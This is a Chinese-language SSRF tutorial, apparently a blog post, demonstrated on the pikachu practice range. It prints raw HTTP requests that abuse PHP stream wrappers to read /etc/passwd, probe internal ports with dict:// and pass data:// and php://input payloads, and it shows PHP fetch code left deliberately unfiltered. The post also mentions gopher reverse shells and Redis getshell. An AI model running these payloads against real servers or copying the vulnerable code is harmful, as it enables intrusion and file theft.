概述
SSRF(Server-Side Request Forgery:服务器端请求伪造)
很多Web应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,Web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地服务器。
由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流:攻击者——->服务器——>目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样,PHP中下面函数的使用不当会导致SSRF:
file_get_contents() fsockopen() curl_exec()
先赶紧给大家做个演示
在pikachu的靶场里,选择

那就来读读吧,
http://192.168.182.147/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php

开个小脑洞
在对ssrf这个知识体系不是很了解的情况,光看这个URL地址就来感觉了。
url后面跟着的是一个http地址。试着猜想一下,这个页面里面的诗是不是就是从这个http地址里读下来的。如果把http地址换成其他的内容,会如何?
边说边做? 各位可以尝试替换试试看!
我随便换了一个url地址,
还真是这样!把url地址的内容全部返回到网页里了。也就是服务器帮我们去请求了我们想要的内容。
开个大脑洞
你还能想到什么?
如果可以直接读到 /etc/passwd 能读到服务器端任意文件就好了。可行吗?
如果服务器没有做特别的限制的话。(这里需要排除特殊限制情况)。
http://192.168.182.147/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php
url后面跟的是url协议,php对系统的支持,一定程度上是对系统协议的支持。如果有相关的模块的话。
延伸的知识体系
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。相关函数:include、require、include_once、require_once、highlight_file show_source 、readfile 、file_get_contents 、fopen 、file。
php协议类型
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) 网址
- ftp:// — 访问 FTP(s) URLs
- php:// — 访问各个输入/输出流(I/O streams)
- zlib:// — 压缩流
- data:// — 数据(RFC 2397)
- glob:// — 查找匹配的文件路径模式
- phar:// — PHP 归档
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — 音频流
- expect:// — 处理交互式的流
- php://fd //允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。
- php://memory 和 php://temp //内存流和临时文件流
- dict:// key/value的字典协议
- gopher:// 协议 [Gopher是Internet上一个非常有名的信息查找系统]
PHP.ini相关配置
allow_url_fopen
on 默认开启,该选项为on便是激活了,URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include
off 默认关闭,该选项为on便是允许包含URL对象文件等。
file://协议
file:// — 访问本地文件系统,不受allow_url_fopen与allow_url_include的影响
各类协议的使用方法
file协议
file:// [文件的绝对路径和文件名]
http://192.168.182.147/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
php://协议
php:// — 访问各个输入/输出流(I/O streams)
不需要开启allow_url_fopen
仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php://stdin php://stdout 和 php://stderr
php://stdin php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。
php://stdin 是只读的
php://stdout 和 php://stderr 是只写的。
php://stdin
<?php while($line = fopen(‘php://stdin’,’r’)) {//open our file pointer to read from stdin echo $line.”\n”; echo fgets($line);//读取 } ?>
php://stdout
<?php $fd = fopen(‘php://stdout‘, ‘w’); if ($fd) { echo $fd.”\n”; fwrite($fd, “test”); fwrite($fd, “\n”); fclose($fd); } ?>
php://stderr
<?php $stderr = fopen( ‘php://stderr’, ‘w’ ); echo $stderr.”\n”; fwrite($stderr, “uknow” ); fclose($stderr); ?>
php://filter
最常使用的一个伪协议,一般可以利用进行任意文件读取。php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前有机会应用其他过滤器。
| 名称 | 描述 |
|---|---|
| resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
| read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。 |
| write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。 |
| <;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
| 属性 | 支持 |
|---|---|
| 受限于 allow_url_include | 仅 php://input、 php://stdin、 php://memory 和 php://temp。 |
| 允许读取 | 仅 php://stdin、 php://input、 php://fd、 php://memory 和 php://temp。 |
| 允许写入 | 仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp。 |
| 允许追加 | 仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp(等于写入) |
| 允许同时读写 | 仅 php://fd、 php://memory 和 php://temp。 |
| 支持 stat() | 仅 php://memory 和 php://temp。 |
| 仅仅支持 stream_select() | php://stdin、 php://stdout、 php://stderr、 php://fd 和 php://temp。 |
php://filter/read=<读链需要应用的过滤器列表>
这个参数采用一个或以管道符 | 分隔的多个过滤器名称。
GET /vul/ssrf/ssrf_fgc.php?file=php://filter/read=string.rot13/resource=php://input HTTP/1.1 Host: 192.168.182.150 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.149/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Length: 21
qeqeqeqeqwqeqeqeqeee
运行看加密结果。
base64.encode:

类似的过滤流函数还有很多。我们称之为过滤器,过滤器有很多种,有字符串过滤器、转换过滤器、压缩过滤器、加密过滤器。
字符串过滤器
进行 rot13转换 string.toupper 将字符全部大写 string.tolower 将字符全部小写 string.strip_tags 去除空字符、HTML 和 PHP 标记后的结果 着重介绍一下这个,功能类似于strip_tags()函数,若不想某些字符不被消除,后面跟上字符,可利用字符串或是数组两种方式
<?php $fp = fopen(‘php://output’, ‘w’); stream_filter_append($fp, ‘string.rot13’); echo “rot13:”; fwrite($fp, “This is a test.\n”); fclose($fp);
$fp = fopen('php://output', 'w');stream_filter_append($fp, 'string.toupper');echo "Upper:";fwrite($fp, "This is a test.\n");fclose($fp);$fp = fopen('php://output', 'w');stream_filter_append($fp, 'string.tolower');echo "Lower:";fwrite($fp, "This is a test.\n");fclose($fp);$fp = fopen('php://output', 'w');echo "Del1:";stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE);fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");fclose($fp);$fp = fopen('php://output', 'w');echo "Del2:";stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b>");fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");fclose($fp);$fp = fopen('php://output', 'w');stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','h1'));echo "Del3:";fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");fclose($fp);?>

转换过滤器
convert.base64-encode & convert.base64-decode
参考用户请学生们自行百度。
压缩过滤器
zlib.deflate和 zlib.inflate
加密过滤器
mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法,格式为mcrypt.ciphername,其中 ciphername是密码的名字,将被传递给 mcrypt_module_open()。
php://input
php://input 可以访问请求的原始数据的只读流,。日常操作喜欢将post请求中的数据作为PHP代码执行。
- allow_url_fopen :off/on
- allow_url_include:on
以下数据包从BS里直接捞过来用
GET /vul/ssrf/ssrf_curl.php?url=php://input HTTP/1.1 Host: 192.168.182.149 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.149/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Length: 13
adadadawqeqeq
看结果
对比:
GET /vul/ssrf/ssrf_fgc.php?file=php://input HTTP/1.1 Host: 192.168.182.149 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.149/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Length: 20
qeqeqeqeqwqeqeqeqeee
file_get_contents 更有意思!
注:enctype=”multipart/form-data” 的时候 php://input 是无效的。
zip://, bzip2://, zlib://协议
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
- allow_url_fopen :off/on
- allow_url_include:off/on
使用方法
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
测试
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
安全方面
上传压缩文件,在服务器端直接用zip://协议来调用文件。
GET /vul/ssrf/ssrf_fgc.php?file=zip:///var/www/html/vul/ssrf/upload/123.zip%23123.txt HTTP/1.1 Host: 192.168.182.151 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.149/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
data://协议
data://协议必须双在on才能正常使用;
- allow_url_fopen :on
- allow_url_include:on
GET /vul/ssrf/ssrf_fgc.php?file=data://text/plain,11111 HTTP/1.1 Host: 192.168.182.150 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.151/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Length: 21
qeqeqeqeqwqeqeqeqeee
GET /vul/ssrf/ssrf_fgc.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= HTTP/1.1 Host: 192.168.182.151 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.151/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
传入base64的编码,会自动解码。因为它不是include,而是直接获得数据,显示数据。所以phpinfo()不会被执行。这里怕有同学误以为被执行了。
下面的黑体,注意urlencode编个码。
GET /vul/ssrf/ssrf_fgc.php?file=data://text/plain,%3c%3fphp%20phpinfo()%3f%3e HTTP/1.1 Host: 192.168.182.151 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.151/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
glob://协议
<?php $it = new DirectoryIterator($_GET[‘file’]); foreach($it as $f) { printf(“%s”, $f->getFilename()); echo’
‘; } ?>
php://memory
php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。
dict://协议
在安全方面,前人总结利用,可以用来刺探端口信息。
GET /vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306 HTTP/1.1 Host: 192.168.182.151 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.182.149/vul/ssrf/ssrf_curl.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=ud7801vqt43qakt6fgnm4at40t Connection: close Content-Length: 0
查看一下结果。很NICE!
dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher://
gopher:协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
我们可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell。
curl —version [看看curl都支持什么协议] curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3 Release-Date: 2018-01-24 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL
那么SSRF可以做什么?
- 可以对外网服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息 。
- 攻击运行在内网或者本地的应用程序。
- 对内网web应用进行指纹识别,通过访问默认文件实现 。
- 攻击内外网的web应用。sql注入、struct2、redis等。
- 利用file协议读取本地文件等。
- 进行跳板
- 无视cdn
利用Redis未授权访问,HTTP CRLF注入实现getshell
容易出现SSRF的地方
转码服务
- 在线翻译
- 图片加载与下载(通过URL地址加载或下载图片)
- 图片、文章收藏功能
- 网站采集、网页抓取的地方。
- 头像的地方。(远程加载头像)
- 一切要你输入网址的地方和可以输入ip的地方。
- 从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
SSRF漏洞相关函数和协议
(1)file_get_contents()
<?php $url = $_GET[‘url’];; echo file_get_contents($url); ?>
file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。
(2)fsockopen()
<?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo “$errstr (error number $errno) \n”; } else { $out = “GET $link HTTP/1.1\r\n”; $out .= “Host: $host\r\n”; $out .= “Connection: Close\r\n\r\n”; $out .= “\r\n”; fwrite($fp, $out); $contents=’’; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?>
fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限。
(3)curl_exec()
<?php if (isset($_POST[‘url’])){ $link = $_POST[‘url’]; $curlobj = curl_init();// 创建新的 cURL 资源 curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项 $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器 curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源 $filename = ‘./curled/‘.rand().’.txt’; file_put_contents($filename, $result); echo $result; } ?>
curl_exec函数用于执行指定的cURL会话。
注意
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议
SSRF思维导图

[
](https://blog.csdn.net/qq_37133717/article/details/94647789)
